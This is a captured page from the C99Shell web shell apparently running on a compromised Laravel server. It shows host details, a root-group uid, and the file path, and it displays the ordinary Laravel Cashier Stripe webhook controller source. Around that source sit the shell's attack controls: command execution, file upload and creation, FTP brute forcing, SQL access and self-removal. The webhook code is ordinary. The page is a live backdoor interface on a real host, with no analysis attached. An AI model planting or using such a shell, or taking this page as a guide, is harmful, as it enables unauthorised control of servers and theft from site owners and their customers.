!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/cashier/src/Http/Controllers/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WebhookController.php (10.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Cashier\Http\Controllers;

use 
Illuminate\Http\Request;
use 
Illuminate\Notifications\Notifiable;
use 
Illuminate\Routing\Controller;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Str;
use 
Laravel\Cashier\Cashier;
use 
Laravel\Cashier\Events\WebhookHandled;
use 
Laravel\Cashier\Events\WebhookReceived;
use 
Laravel\Cashier\Http\Middleware\VerifyWebhookSignature;
use 
Laravel\Cashier\Payment;
use 
Laravel\Cashier\Subscription;
use 
Stripe\Stripe;
use 
Stripe\Subscription as StripeSubscription;
use 
Symfony\Component\HttpFoundation\Response;

class 
WebhookController extends Controller
{
    
/**
     * Create a new WebhookController instance.
     *
     * @return void
     */
    
public function __construct()
    {
        if (
config('cashier.webhook.secret')) {
            
$this->middleware(VerifyWebhookSignature::class);
        }
    }

    
/**
     * Handle a Stripe webhook call.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
public function handleWebhook(Request $request)
    {
        
$payload json_decode($request->getContent(), true);
        
$method 'handle'.Str::studly(str_replace('.''_'$payload['type']));

        
WebhookReceived::dispatch($payload);

        if (
method_exists($this$method)) {
            
$this->setMaxNetworkRetries();

            
$response $this->{$method}($payload);

            
WebhookHandled::dispatch($payload);

            return 
$response;
        }

        return 
$this->missingMethod($payload);
    }

    
/**
     * Handle customer subscription created.
     *
     * @param  array  $payload
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function handleCustomerSubscriptionCreated(array $payload)
    {
        
$user $this->getUserByStripeId($payload['data']['object']['customer']);

        if (
$user) {
            
$data $payload['data']['object'];

            if (! 
$user->subscriptions->contains('stripe_id'$data['id'])) {
                if (isset(
$data['trial_end'])) {
                    
$trialEndsAt Carbon::createFromTimestamp($data['trial_end']);
                } else {
                    
$trialEndsAt null;
                }

                
$firstItem $data['items']['data'][0];
                
$isSinglePrice count($data['items']['data']) === 1;

                
$subscription $user->subscriptions()->create([
                    
'name' => $data['metadata']['name'] ?? $this->newSubscriptionName($payload),
                    
'stripe_id' => $data['id'],
                    
'stripe_status' => $data['status'],
                    
'stripe_price' => $isSinglePrice $firstItem['price']['id'] : null,
                    
'quantity' => $isSinglePrice && isset($firstItem['quantity']) ? $firstItem['quantity'] : null,
                    
'trial_ends_at' => $trialEndsAt,
                    
'ends_at' => null,
                ]);

                foreach (
$data['items']['data'] as $item) {
                    
$subscription->items()->create([
                        
'stripe_id' => $item['id'],
                        
'stripe_product' => $item['price']['product'],
                        
'stripe_price' => $item['price']['id'],
                        
'quantity' => $item['quantity'] ?? null,
                    ]);
                }
            }
        }

        return 
$this->successMethod();
    }

    
/**
     * Determines the name that should be used when new subscriptions are created from the Stripe dashboard.
     *
     * @param  array  $payload
     * @return string
     */
    
protected function newSubscriptionName(array $payload)
    {
        return 
'default';
    }

    
/**
     * Handle customer subscription updated.
     *
     * @param  array  $payload
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function handleCustomerSubscriptionUpdated(array $payload)
    {
        if (
$user $this->getUserByStripeId($payload['data']['object']['customer'])) {
            
$data $payload['data']['object'];

            
$subscription $user->subscriptions()->firstOrNew(['stripe_id' => $data['id']]);

            if (
                isset(
$data['status']) &&
                
$data['status'] === StripeSubscription::STATUS_INCOMPLETE_EXPIRED
            
) {
                
$subscription->items()->delete();
                
$subscription->delete();

                return;
            }

            
$subscription->name $subscription->name ?? $data['metadata']['name'] ?? $this->newSubscriptionName($payload);

            
$firstItem $data['items']['data'][0];
            
$isSinglePrice count($data['items']['data']) === 1;

            
// Price...
            
$subscription->stripe_price $isSinglePrice $firstItem['price']['id'] : null;

            
// Quantity...
            
$subscription->quantity $isSinglePrice && isset($firstItem['quantity']) ? $firstItem['quantity'] : null;

            
// Trial ending date...
            
if (isset($data['trial_end'])) {
                
$trialEnd Carbon::createFromTimestamp($data['trial_end']);

                if (! 
$subscription->trial_ends_at || $subscription->trial_ends_at->ne($trialEnd)) {
                    
$subscription->trial_ends_at $trialEnd;
                }
            }

            
// Cancellation date...
            
if (isset($data['cancel_at_period_end'])) {
                if (
$data['cancel_at_period_end']) {
                    
$subscription->ends_at $subscription->onTrial()
                        ? 
$subscription->trial_ends_at
                        
Carbon::createFromTimestamp($data['current_period_end']);
                } elseif (isset(
$data['cancel_at'])) {
                    
$subscription->ends_at Carbon::createFromTimestamp($data['cancel_at']);
                } else {
                    
$subscription->ends_at null;
                }
            }

            
// Status...
            
if (isset($data['status'])) {
                
$subscription->stripe_status $data['status'];
            }

            
$subscription->save();

            
// Update subscription items...
            
if (isset($data['items'])) {
                
$prices = [];

                foreach (
$data['items']['data'] as $item) {
                    
$prices[] = $item['price']['id'];

                    
$subscription->items()->updateOrCreate([
                        
'stripe_id' => $item['id'],
                    ], [
                        
'stripe_product' => $item['price']['product'],
                        
'stripe_price' => $item['price']['id'],
                        
'quantity' => $item['quantity'] ?? null,
                    ]);
                }

                
// Delete items that aren't attached to the subscription anymore...
                
$subscription->items()->whereNotIn('stripe_price'$prices)->delete();
            }
        }

        return 
$this->successMethod();
    }

    
/**
     * Handle a canceled customer from a Stripe subscription.
     *
     * @param  array  $payload
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function handleCustomerSubscriptionDeleted(array $payload)
    {
        if (
$user $this->getUserByStripeId($payload['data']['object']['customer'])) {
            
$user->subscriptions->filter(function ($subscription) use ($payload) {
                return 
$subscription->stripe_id === $payload['data']['object']['id'];
            })->
each(function ($subscription) {
                
$subscription->markAsCanceled();
            });
        }

        return 
$this->successMethod();
    }

    
/**
     * Handle customer updated.
     *
     * @param  array  $payload
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function handleCustomerUpdated(array $payload)
    {
        if (
$user $this->getUserByStripeId($payload['data']['object']['id'])) {
            
$user->updateDefaultPaymentMethodFromStripe();
        }

        return 
$this->successMethod();
    }

    
/**
     * Handle deleted customer.
     *
     * @param  array  $payload
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function handleCustomerDeleted(array $payload)
    {
        if (
$user $this->getUserByStripeId($payload['data']['object']['id'])) {
            
$user->subscriptions->each(function (Subscription $subscription) {
                
$subscription->skipTrial()->markAsCanceled();
            });

            
$user->forceFill([
                
'stripe_id' => null,
                
'trial_ends_at' => null,
                
'pm_type' => null,
                
'pm_last_four' => null,
            ])->
save();
        }

        return 
$this->successMethod();
    }

    
/**
     * Handle payment action required for invoice.
     *
     * @param  array  $payload
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function handleInvoicePaymentActionRequired(array $payload)
    {
        if (
is_null($notification config('cashier.payment_notification'))) {
            return 
$this->successMethod();
        }

        if (
$user $this->getUserByStripeId($payload['data']['object']['customer'])) {
            if (
in_array(Notifiable::class, class_uses_recursive($user))) {
                
$payment = new Payment($user->stripe()->paymentIntents->retrieve(
                    
$payload['data']['object']['payment_intent']
                ));

                
$user->notify(new $notification($payment));
            }
        }

        return 
$this->successMethod();
    }

    
/**
     * Get the customer instance by Stripe ID.
     *
     * @param  string|null  $stripeId
     * @return \Laravel\Cashier\Billable|null
     */
    
protected function getUserByStripeId($stripeId)
    {
        return 
Cashier::findBillable($stripeId);
    }

    
/**
     * Handle successful calls on the controller.
     *
     * @param  array  $parameters
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function successMethod($parameters = [])
    {
        return new 
Response('Webhook Handled'200);
    }

    
/**
     * Handle calls to missing methods on the controller.
     *
     * @param  array  $parameters
     * @return \Symfony\Component\HttpFoundation\Response
     */
    
protected function missingMethod($parameters = [])
    {
        return new 
Response;
    }

    
/**
     * Set the number of automatic retries due to an object lock timeout from Stripe.
     *
     * @param  int  $retries
     * @return void
     */
    
protected function setMaxNetworkRetries($retries 3)
    {
        
Stripe::setMaxNetworkRetries($retries);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--